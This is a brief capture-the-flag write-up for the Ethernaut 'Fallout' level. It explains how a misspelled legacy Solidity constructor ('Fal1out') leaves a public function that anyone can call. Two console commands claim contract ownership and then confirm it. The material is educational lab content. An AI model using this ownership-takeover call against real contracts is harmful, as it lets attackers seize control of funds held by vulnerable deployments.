Writeups/Ethernaut/Fallout
EasyEthernaut · Ethernaut2024

Fallout

Misnamed Constructor (Pre-0.5.0 Syntax)

In Solidity versions prior to 0.5.0, constructors were defined as functions with the same name as the contract. A typo in the contract name (`Fallout` vs `Fal1out`) means the "constructor" is actually a public function callable by anyone.

SolidityConstructorLegacy SyntaxOwnership

00Overview

In Solidity versions prior to 0.5.0, constructors were defined as functions with the same name as the contract. A typo in the contract name (`Fallout` vs `Fal1out`) means the "constructor" is actually a public function callable by anyone.

01Call the misnamed constructor

The "constructor" is a regular public function due to the typo.

javascript
await contract.Fal1out({value: toWei("0.000001")})

02Verify ownership

javascript
await contract.owner() // returns player address

03Level Completed

Fallout — completion screenshot 1